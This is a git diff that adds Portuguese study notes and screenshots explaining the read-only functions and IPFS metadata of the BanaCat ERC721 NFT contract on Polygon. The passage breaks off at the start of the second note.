"a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/32.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/32.png" new file mode 100644 index 000000000..be8df52da Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/32.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/33.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/33.png" new file mode 100644 index 000000000..8e5161fda Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/33.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/34.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/34.png" new file mode 100644 index 000000000..22abba0a5 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/34.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/35.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/35.png" new file mode 100644 index 000000000..3a57bc9c3 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/35.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/36.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/36.png" new file mode 100644 index 000000000..8f8ba0a2c Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/36.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/37.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/37.png" new file mode 100644 index 000000000..642c73aa1 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/37.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/38.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/38.png" new file mode 100644 index 000000000..6a25a0f5f Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/38.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/39.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/39.png" new file mode 100644 index 000000000..397c324c2 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/39.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/4.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/4.png" new file mode 100644 index 000000000..d6abbaf46 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/4.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/40.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/40.png" new file mode 100644 index 000000000..3186f5126 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/40.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/41.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/41.png" new file mode 100644 index 000000000..9b654202a Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/41.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/42.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/42.png" new file mode 100644 index 000000000..7778df47e Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/42.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/43.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/43.png" new file mode 100644 index 000000000..ce5868d40 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/43.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/44.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/44.png" new file mode 100644 index 000000000..85060b0a3 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/44.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/45.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/45.png" new file mode 100644 index 000000000..d2d7c7a0e Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/45.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/46.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/46.png" new file mode 100644 index 000000000..4d65c33cf Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/46.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/47.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/47.png" new file mode 100644 index 000000000..8c07fd438 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/47.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/48.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/48.png" new file mode 100644 index 000000000..783043971 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/48.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/49.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/49.png" new file mode 100644 index 000000000..2d17d38d7 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/49.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/5.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/5.png" new file mode 100644 index 000000000..e46e21468 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/5.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/50.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/50.png" new file mode 100644 index 000000000..d4e2760e2 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/50.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/6.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/6.png" new file mode 100644 index 000000000..c808ecec8 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/6.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/7.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/7.png" new file mode 100644 index 000000000..e0aeb1f6b Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/7.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/8.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/8.png" new file mode 100644 index 000000000..702c37917 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/8.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/9.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/9.png" new file mode 100644 index 000000000..26aa074ac Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/9.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/NFT#1623.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/NFT#1623.png" new file mode 100644 index 000000000..1e823a3f0 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/NFT#1623.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/Untitled.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/Untitled.png" new file mode 100644 index 000000000..8d6be5cf2 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/Untitled.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/banner.png" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/banner.png" new file mode 100644 index 000000000..341047f07 Binary files /dev/null and "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/img/banner.png" differ diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/readme.md" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/readme.md" new file mode 100644 index 000000000..e7b34a1ff --- /dev/null +++ "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2201_ShuxunOo/readme.md" @@ -0,0 +1,303 @@ +# Contrato BanaCat NFT (1/3) + +# Sobre o BanaCatNFT + +O projeto BanaCat é uma coleção de arte digital de avatar implantada na blockchain Polygon. + +![banner.png](./img/banner.png) + +Link do projeto: [https://opensea.io/collection/banacat-v2](https://opensea.io/collection/banacat-v2) + +Endereço do código do contrato: [https://polygonscan.com/address/0xd2bc5c3990c06ccd26f10a3e9d93b19450136c8d#code](https://polygonscan.com/address/0xd2bc5c3990c06ccd26f10a3e9d93b19450136c8d#code) + +Além disso, foram criados pacotes de emojis relacionados a essa arte digital, e um deles já está disponível na loja de emojis do WeChat. Link para os emojis: [香蕉猫看戏篇](https://sticker.weixin.qq.com/cgi-bin/mmemoticon-bin/emoticonview?oper=single&t=shop/detail&productid=aL2PCfwK/89qO7sF6/+I+UDhfwEjhec2ZNvdnLLJRd/N7QVyYnUnFpeB0t9OOOGqFiGlj08OJVil+/ruMQmJp3eFNlkqDVcbCJC9A4/2eWbE=) + +![Untitled](./img/Untitled.png) + +--- + +# Todas as funções de "leitura" do contrato. (Funções que apenas leem o estado do contrato, mas não o modificam) + +`balanceOf()`: Retorna a quantidade de NFTs que um determinado endereço possui neste contrato. + +![Untitled](./img/1.png) + +Cria um mapeamento de endereços para a quantidade de tokens e a função `balanceOf()` verifica a validade do endereço e retorna a quantidade de NFTs que o endereço possui de acordo com o mapeamento. + +![Untitled](./img/2.png) + +![Untitled](./img/3.png) + +--- + +`baseExtension()`: Retorna o formato do arquivo `Metadata`, que neste caso é `.json`. + +![Untitled](./img/4.png) + +![Untitled](./img/5.png) + +O `baseExtension` também pode ser modificado posteriormente por meio de uma função. + +![Untitled](./img/6.png) + +--- + +`cost`: Preço para criar um novo NFT, o preço unitário é de 0,5 ether. Como está implantado na rede Polygon, o preço para criar um NFT é de 0,5 MATIC. (O BanaCat NFT é o meu primeiro projeto de NFT e tem como objetivo ser um projeto de perfil público, para fins de comunicação e aprendizado, por isso o preço é baixo); + +Nem todos os projetos de NFT têm preços fixos, muitos projetos definem o preço como uma variável e a ajustam dinamicamente com base nas vendas públicas do projeto. + +![Untitled](./img/7.png) + +![Untitled](./img/8.png) + +A unidade de medida da criptomoeda Ethereum é o WEI, 1 ETH = 10^18 WEI. + +--- + +`getApproved()`: Uma das funções principais do padrão ERC721, verifica qual endereço está autorizado a possuir um determinado NFT. Em conjunto com as funções `approve()` e `setApprovalForAll()`, é possível realizar operações de autorização de NFTs, como será demonstrado em um exemplo na próxima postagem. + +![Untitled](./img/9.png) + +Por meio de um mapeamento de NFT `tokenID` para endereço, a função `getApproved()` verifica a validade do `tokenID` e retorna o endereço do proprietário correspondente ao `tokenID` do mapeamento. + +![Untitled](./img/10.png) + +![Untitled](./img/11.png) + +Um exemplo de aplicação: + +[_safeTransferFrom() para transferir NFT usando um proxy](file:./_safeTransferFrom()使用代理转移NFT.md) + +--- + +`isApprovedForAll()`: Verifica se o `owner` de um NFT autorizou um determinado `operator` a gerenciar todos os seus NFTs. + +![Untitled](./img/12.png) + +Por meio de um mapeamento de dois níveis, é estabelecido um relacionamento de mapeamento entre `(endereço do proprietário ⇒ (endereço do operador ⇒ bool))`. Quando `bool` é `true`, significa que o `owner` autorizou o `operator` a gerenciar todos os seus NFTs. Quando `bool` é `false`, significa que o `owner` não autorizou ou cancelou a autorização. + +![Untitled](./img/13.png) + +![Untitled](./img/14.png) + +--- + +`isPaused()`: Controla a atividade de criação de NFTs ou pausa a atividade. + +![Untitled](./img/15.png) + +![Untitled](./img/16.png) + +![Untitled](./img/17.png) + +A variável `isPaused` é usada como um interruptor para controlar o início da atividade de criação de NFTs na função `mint()`. + +![Untitled](./img/18.png) + +--- + +`maxMintAmount()`: Quantidade máxima de NFTs que podem ser criados de uma só vez, o valor padrão é 5. + +![Untitled](./img/19.png) + +![Untitled](./img/20.png) + +É uma variável que pode ser modificada posteriormente pela função `setmaxMintAmountOneTime()`. + +![Untitled](./img/21.png) + +--- + +`maxSupply()`: Quantidade atual de NFTs que ainda podem ser criados no projeto. O total de NFTs da primeira fase do BanaCat NFT está registrado no contrato, dê uma olhada! (A quantidade tem relação comigo também). + +![Untitled](./img/22.png) + +--- + +`name()`: Variável declarada em `Metadata.sol` que representa o nome do projeto, o mesmo princípio se aplica ao `symbol`. + +![Untitled](./img/23.png) + +![Untitled](./img/24.png) + +![Untitled](./img/25.png) + +![Untitled](./img/26.png) + +`name` e `symbol` são inicializados no construtor do contrato. + +![Untitled](./img/27.png) + +![Untitled](./img/28.png) + +--- + +`owner()`: Proprietário atual do contrato, por padrão é o endereço que publicou o contrato inicialmente, mas posteriormente o contrato pode ser transferido para outra pessoa. Alguns projetos de NFT transferem a propriedade para a comunidade, que cuida coletivamente do projeto, sendo um exemplo de aplicação de DAO. + +![Untitled](./img/29.png) + +Implementação do contrato `Ownable.sol` da biblioteca OpenZeppelin. + +[openzeppelin-contracts/Ownable.sol at master · OpenZeppelin/openzeppelin-contracts](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol) + +Função de transferência de propriedade; + +Outra aplicação da transferência de propriedade é quando o proprietário do projeto cria NFTs gratuitamente e deseja enviar uma grande quantidade de NFTs para outro endereço próprio. Uma maneira mais econômica de fazer isso é transferir a propriedade do contrato para o endereço de destino e, em seguida, transferir a propriedade de volta após a criação em massa de NFTs. + +![Untitled](./img/30.png) + +--- + +`ownerOf()`: Verifica o endereço proprietário de um determinado NFT. + +![Untitled](./img/31.png) + +O `_owners` estabelece um mapeamento entre o `tokenID` e o endereço, e a função `ownerOf()` retorna o endereço correspondente após verificar a validade do endereço retornado. + +![Untitled](./img/32.png) + +![Untitled](./img/33.png) + +--- + +`supportsInterface()`: Funcionalidade principal do padrão ERC165, usada para verificar se o contrato implementa uma interface específica. Usando o `InterfaceID` ERC721 como exemplo: "0x80ac58cd". + +Se você não está familiarizado com o ERC165, pode ler este artigo: + +[GitHub - LIPUU/1wallet](https://github.com/LIPUU/1wallet#4-erc165%E4%B8%8Eerc721) + +![Untitled](./img/34.png) + +![Untitled](./img/35.png) + +--- + +`tokenByIndex()`: Retorna o `tokenID` correspondente ao índice fornecido no array `_allTokens`, para facilitar a pesquisa posterior. + +A função `ownerOf()` do ERC721 pode retornar o endereço proprietário de um determinado `tokenID`, e `balanceOf()` pode informar quantos NFTs um determinado endereço possui, mas como podemos saber quais `tokenID`s um determinado endereço possui? A biblioteca de extensão `ERC721Enumerable` foi criada para resolver esse problema. + +[openzeppelin-contracts/ERC721Enumerable.sol at master · OpenZeppelin/openzeppelin-contracts](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/ERC721Enumerable.sol) + +![Untitled](./img/36.png) + +![Untitled](./img/37.png) + +![Untitled](./img/38.png) + +--- + +`tokenOfOwnerByIndex()`: Retorna o `tokenID` do endereço fornecido e do índice fornecido. + +Como entender essa função? Um NFT padrão do ERC721 só pode ser possuído por um endereço, mas um endereço pode possuir vários NFTs. O contrato padrão do ERC721 fornece apenas uma interface para verificar quantos NFTs um endereço possui (`balanceOf()`), mas não fornece uma interface para verificar quais tokens um endereço possui. A função `tokenOfOwnerByIndex()` fornece essa funcionalidade, que será explicada em detalhes na função `walletOfOwner()` a seguir. + +Por exemplo: `walletOfOwner()` retorna a lista de `tokenID`s [12, 11, 1199, 10, 521, 1081] do endereço `_owner`, e como os índices de array começam em 0, o `tokenID` retornado quando o índice é 0 é 12. + +![Untitled](./img/39.png) + +![Untitled](./img/40.png) + +![Untitled](./img/41.png) + +![Untitled](./img/42.png) + +--- + +`totalSupply()`: Mostra a quantidade atual de NFTs que foram criados e podem ser rastreados. + +![Untitled](./img/43.png) + +![Untitled](./img/44.png) + +--- + +`walletOfOwner()`: Retorna todos os `tokenID`s do endereço atual. + +Princípio: + +① Cria um mapeamento de dois níveis `(endereço => (índice do NFT => tokenID do NFT))`, registrando todos os números de NFTs de um determinado endereço; (Na minha opinião, também é possível criar um mapeamento `(endereço => address[])` para alcançar a mesma funcionalidade, mas isso aumentaria o consumo de gás devido às operações frequentes de array com as transações de NFT) + +② A função `walletOfOwner()` primeiro verifica quantos NFTs o endereço atual possui e cria um array temporário `tokenIds` com esse tamanho. Em seguida, chama `tokenOfOwnerByIndex(_owner, i)`. + +③ `tokenOfOwnerByIndex(_owner, i)` retorna o `tokenID` correspondente à posição `i` do endereço e o registra no array temporário `tokenIds`. + +④ Por fim, a função `walletOfOwner()` retorna os dados do array `tokenIds`. + +![Untitled](./img/39.png) + +![Untitled](./img/45.png) + +![Untitled](./img/46.png) + +![Untitled](./img/47.png) + +--- + +`tokenURI()`: Retorna o `tokenURI` correspondente ao `tokenID` fornecido. + +![Untitled](./img/48.png) + +Como entender essa função? Vamos começar explicando como os metadados do NFT são armazenados. + +Nas condições tecnológicas atuais, armazenar diretamente a imagem do NFT e os dados de atributos em uma blockchain é inviável (o mecanismo de consenso da blockchain faz backup dos dados de todos os blocos em cada nó completo da rede, armazenar um arquivo de 1 MB em 100 nós resultaria em 100 MB de dados redundantes, o que não apenas desperdiça espaço de armazenamento, mas também aumenta significativamente o custo de emissão de NFTs). Para atender à tendência de descentralização, a maioria dos projetos de metadados de NFT armazena os arquivos de origem do NFT na rede IPFS. + +Você pode verificar os metadados nos seguintes links: + +[Metadata Standards](https://docs.opensea.io/docs/metadata-standards) + +Usando o exemplo do NFT #1623 do BanaCat: + +![Untitled](./img/NFT%231623.png) + +```json +{ + "name": "BanaCat #1623", // Nome do NFT + // Descrição do projeto + "description": "Pixel kitty with different styles, if you're tired of those 'bored' Apes, come and take a look at these cute cats~ Maybe they are the most suitable NFT for avatar and your honey may love them too. Let's explore what the next kitty will wear on his/her head!", + "image": "ipfs://QmYr9NUaom7uijzTdsjvQ57hRNV4gttnhXF7Sgvt36cUUh/1623.png", // Localização da imagem no IPFS, semelhante a um URL no protocolo HTTP + "dna": "b39631c09c646593738fa44a1d8665cdb74faf08", // Resumo dos dados do NFT (atributos) calculado a partir do hash dos atributos do NFT, garantindo que não haja arquivos de imagem duplicados com base nesses atributos + "edition": 1623, // Pode ser entendido como um ID + "date": 1643206138987, // Data de criação + "attributes": [ // Atributos da imagem + { + "trait_type": "background", // Fundo laranja + "value": "Orange" + }, + { + "trait_type": "head", // Cabeça cinza + "value": "Gray" + }, + { + "trait_type": "blush", // Bochechas rosadas + "value": "Pink" + }, + { + "trait_type": "nose", // Nariz marrom + "value": "Brown" + }, + { + "trait_type": "mouse", // Boca sorridente + "value": "Smile" + }, + { + "trait_type": "eyes", // Olhos brilhantes + "value": "Blingbling" + }, + { + "trait_type": "hat", // Chapéu de radar (em homenagem à engenharia de comunicação de radar da Xidian University) + "value": "Radar" + } + ], + "Author": "shuxun" +} + +Cada NFT tem um arquivo JSON correspondente. Todos os arquivos são colocados em uma pasta e enviados para a rede IPFS, gerando um endereço CID para a pasta, que é o "baseURI" no contrato. O endereço do arquivo correspondente a cada NFT é concatenado a partir deste endereço base. +``` + +`tokenURI()`: concatena o `baseURI` + `tokenID` + sufixo do arquivo para obter o endereço de armazenamento do NFT correspondente ao `tokenID`. + +![Untitled](./img/49.png) + +![Untitled](./img/50.png) + +Este artigo apresentou principalmente as funções de "leitura" do contrato do BanaCat. No próximo artigo, apresentaremos as funções de "escrita" do contrato. + diff --git "a/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/BanaCat NFT Contract_02.md" "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/BanaCat NFT Contract_02.md" new file mode 100644 index 000000000..5a943d3e1 --- /dev/null +++ "b/Languages/pt-br/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721\345\256\236\344\276\213\345\210\206\346\236\2202_ShuxunOo/BanaCat NFT Contract_02.md" @@ -0,0 +1,194 @@ +# Contrato BanaCat NFT (2/3) + +# Sobre o BanaCatNFT + +O projeto BanaCat é uma coleção de arte digital de avatar implantada na blockchain Polygon. + +Link do projeto: [BanaCato_O - Collection | OpenSea](https://opensea.io/collection/banacat-v2) + +Endereço do código do contrato: https://polygonscan.com/address/0xd2bc5c3990c06ccd26f10a3e9d93b19450136c8d#code + +Além disso, com base nesta arte digital, também foram criados pacotes de emojis relacionados. Atualmente, um desses pacotes já está disponível na loja de emojis do WeChat. Link do pacote de emojis: 